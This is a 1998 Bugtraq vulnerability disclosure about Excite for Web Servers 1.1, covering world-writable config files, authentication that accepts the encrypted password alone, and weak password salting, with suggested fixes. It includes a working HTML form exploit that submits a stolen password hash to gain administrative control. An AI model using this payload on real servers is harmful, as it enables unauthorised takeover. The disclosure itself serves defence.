[8652] in bugtraq
Security bugs in Excite for Web Servers 1.1
daemon@ATHENA.MIT.EDU (Michael Gerdts)
Mon Nov 30 22:55:00 1998
Date: Mon, 30 Nov 1998 17:20:04 -0600
Reply-To: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: Michael Gerdts <gerdts@CAE.WISC.EDU>
To: BUGTRAQ@NETSPACE.ORG
On November 11 I reported the folloing problmes to ewsbugs@excite.com. I
have only recieved an automated reply.
I have found numerous security concerns with EWS 1.1 which can lead to an
ordinary user being able to gain control over EWS.
Problem: The installation program installs several files with world-write
permissions. This is bad because one of them (Architext.conf)
contains the encrypted password which is used for all authentication.
Because of this, any user with shell or non-anonymous FTP access
to the web server could modify the encrypted password.
Solution: At install time, ask the administrator for the username or uid
that CGI scripts are run as. Make the excite installation directory
restrictive enough such that only this user can get into the directory
and make sure that no files are world-writable. Because of other
concerns (such as dictionary attacks) this file should not be
world-readable.
Problem: All authentication after the initial access to AT-admin.cgi relies
solely on the encrypted password. Since any user with shell or FTP
access can read Architext.conf, it is trivial for local users to
gain administrative privileges over EWS. Thus, a user only needs to
have a web page that looks like:
<html> <head><title>exploit</title>
<body>
<p><FORM ACTION="http://EWS.SERVER.COM/cgi-bin/AT-generate.cgi" METHOD=POST>
<INPUT TYPE="hidden" NAME="db" VALUE="personal">
<INPUT TYPE="submit" NAME="Reload" VALUE="Reload">
Reload this page, in case the log file or status has changed.
<INPUT TYPE="hidden" NAME="Dump" VALUE="dummy">
<INPUT TYPE="hidden" NAME="File" VALUE="/usr/local/etc/excite/collections/AT-personal.prog">
<INPUT TYPE="hidden" NAME="Type" VALUE="progress">
<INPUT TYPE="hidden" NAME="ENCRYPTEDPASS" VALUE="ENCRYPTEDPASS">
</FORM><BR>
</body>
</html>
Of course you should replace EWS.SERVER.COM and ENCRYPTEDPASS with
values that make sense for your situation. By accessing this page
and clicking on the button you get to a menu that behaves exactly
as if you knew the unencrypted password.
Solution: I am not an expert in web security. There certainly must be
better solutions.
Problem: Passwords are not encrypted properly. Note that the first
two characters of the encrypted password are always the first two
characters of the plain-text password. For example, if you choose
the password "blah", the encrypted password is "blk1x.w.ISlDw".
In light of the fact that the plain-text password is not needed for
adminstrative control (above), this problem is not that significant.
Since this same password may be used other places it should be
protected better. If a dictionary attack for the password is
done, only those words that start with "bl" need be examined.
If a brute force attack is used, the number of guesses goes down
significantly
Solution: Encrypt passwords using random salts. Even using "aa" as the
salt in every case would be more secure.
--
Michael Gerdts
UNIX Systems Administrator
Computer-Aided Engineering Center
University of Wisconsin - Madison
